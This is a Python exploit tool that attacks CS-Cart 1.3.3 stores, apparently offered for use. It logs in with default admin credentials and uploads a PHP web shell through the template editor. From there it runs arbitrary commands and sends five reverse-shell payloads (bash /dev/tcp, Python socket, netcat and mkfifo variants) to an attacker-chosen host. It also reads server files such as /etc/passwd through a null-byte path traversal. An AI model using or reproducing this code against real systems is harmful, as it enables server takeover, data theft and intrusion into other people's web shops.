#!/usr/bin/env python3 """ CS-Cart Multi-Exploit Tool Developed by: Strikoder Tested on: CS-Cart 1.3.3 """ import requests import sys import argparse from urllib.parse import urljoin, quote import base64 PHP_SHELL = """"; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; } ?> """ def banner(): print(""" ╔═══════════════════════════════════════════╗ ║ CS-Cart Multi-Exploit Tool ║ ║ Developed by: Strikoder ║ ║ Tested on: CS-Cart 1.3.3 ║ ╚═══════════════════════════════════════════╝ """) def login(target, username, password): print(f"[*] Logging in to {target}/admin.php") session = requests.Session() login_url = urljoin(target, "admin.php") try: session.get(login_url, verify=False, timeout=10) except: print("[-] Connection failed") return None login_data = { 'user_login': username, 'password': password, 'target': 'auth', 'mode': 'login' } try: session.post(login_url, data=login_data, verify=False, timeout=10) if 'acsid' in session.cookies or 'csid' in session.cookies: print("[+] Authentication successful") return session else: print("[-] Authentication failed") return None except Exception as e: print(f"[-] Login error: {e}") return None def upload_shell(session, target, shell_name): print(f"[*] Uploading {shell_name}.phtml") upload_url = urljoin(target, "admin.php") files = { 'local_uploaded_data[0]': (f'{shell_name}.phtml', PHP_SHELL, 'application/octet-stream') } data = { 'target': 'template_editor', 'mode': 'upload_file', 'm_utype[0]': 'local', 'server_uploaded_data[0]': '', 'url_uploaded_data[0]': 'http://' } try: resp = session.post(upload_url, files=files, data=data, verify=False, timeout=10, allow_redirects=True) if resp.status_code in [200, 302]: print("[+] Upload successful") return True else: print(f"[-] Upload failed: {resp.status_code}") return False except Exception as e: print(f"[-] Upload error: {e}") return False def verify_shell(session, target, shell_name): shell_url = urljoin(target, f"skins/{shell_name}.phtml") print(f"[*] Checking {shell_url}") try: resp = session.get(shell_url, params={'cmd': 'echo VERIFIED'}, verify=False, timeout=10) if resp.status_code == 200 and 'VERIFIED' in resp.text: print("[+] Shell verified") return shell_url else: print("[-] Shell check failed") return None except Exception as e: print(f"[-] Check error: {e}") return None def exec_cmd(session, shell_url, command): try: resp = session.get(shell_url, params={'cmd': command}, verify=False, timeout=15) if resp.status_code == 200: return resp.text.replace('
', '').replace('
', '').strip() else: return f"Request failed: {resp.status_code}" except Exception as e: return f"Error: {e}" def get_revshell_cmd(ip, port): # Base64 encode the bash reverse shell raw_cmd = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" b64_cmd = base64.b64encode(raw_cmd.encode()).decode() # Decode and execute return f"echo {b64_cmd} | base64 -d | bash" def trigger_revshell(session, shell_url, ip, port): print(f"\n[*] Sending reverse shell to {ip}:{port}") print(f"[!] Start listener: nc -lvnp {port}\n") methods = [] # Method 1: Base64 encoded bash raw_cmd = f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'" b64_cmd = base64.b64encode(raw_cmd.encode()).decode() methods.append(("Bash (b64)", f"echo {b64_cmd} | base64 -d | bash")) # Method 2: Background bash methods.append(("Bash (bg)", f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1' &")) # Method 3: Python methods.append(("Python", f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'")) # Method 4: NC methods.append(("Netcat", f"nc -e /bin/bash {ip} {port}")) # Method 5: NC mkfifo methods.append(("NC (mkfifo)", f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {ip} {port} >/tmp/f")) for name, cmd in methods: print(f"[*] Trying {name}...") try: resp = session.get(shell_url, params={'cmd': cmd}, verify=False, timeout=2) print(f"[+] {name} sent") except requests.exceptions.Timeout: print(f"[+] {name} triggered (timeout = good sign)") except requests.exceptions.ConnectionError: print(f"[+] {name} triggered (connection lost = good sign)") except Exception as e: print(f"[-] {name} error: {str(e)[:50]}") import time time.sleep(1) print("\n[*] All methods attempted. Check your listener.") def exploit_lfi(target, file_path): print(f"\n[*] Reading: {file_path}") encoded_path = quote(file_path) + "%00" lfi_url = f"{target}/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../{encoded_path}" print(f"[*] URL: {lfi_url}") try: resp = requests.get(lfi_url, verify=False, timeout=10) print(f"[*] Status: {resp.status_code}") if resp.status_code == 200: print(f"\nFile: {file_path}") print(resp.text) return True else: print(f"[-] Failed with status {resp.status_code}") return False except Exception as e: print(f"[-] Error: {e}") return False def interactive_mode(session, shell_url): print("\n[*] Interactive mode (type 'exit' to quit)\n") while True: try: cmd = input("$ ") if cmd.lower() in ['exit', 'quit']: break if not cmd.strip(): continue output = exec_cmd(session, shell_url, cmd) print(output) except KeyboardInterrupt: print("\n[*] Exiting") break except Exception as e: print(f"Error: {e}") def main(): banner() parser = argparse.ArgumentParser( description='CS-Cart exploitation tool', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 exploit.py -t http://target.com -c "id" python3 exploit.py -t http://target.com -i 10.10.14.5 4444 python3 exploit.py -t http://target.com --lfi /etc/passwd """ ) parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', default='admin', help='Username (default: admin)') parser.add_argument('-p', '--password', default='admin', help='Password (default: admin)') parser.add_argument('-s', '--shell-name', default='shell', help='Shell filename') parser.add_argument('-c', '--command', help='Execute command') parser.add_argument('-i', '--interactive', nargs=2, metavar=('IP', 'PORT'), help='Reverse shell') parser.add_argument('--lfi', metavar='FILE', help='Read file via LFI') args = parser.parse_args() requests.packages.urllib3.disable_warnings() target = args.target.rstrip('/') if not target.startswith('http'): target = 'http://' + target # LFI doesn't need auth if args.lfi: exploit_lfi(target, args.lfi) sys.exit(0) print("[*] Starting RCE exploit\n") session = login(target, args.username, args.password) if not session: sys.exit(1) print() if not upload_shell(session, target, args.shell_name): sys.exit(1) print() shell_url = verify_shell(session, target, args.shell_name) if not shell_url: print("\n[-] Shell verification failed") sys.exit(1) print() if args.command: print(f"[*] Executing: {args.command}") output = exec_cmd(session, shell_url, args.command) print(f"\n{output}") elif args.interactive: lhost = args.interactive[0] lport = args.interactive[1] trigger_revshell(session, shell_url, lhost, lport) else: interactive_mode(session, shell_url) if __name__ == '__main__': main()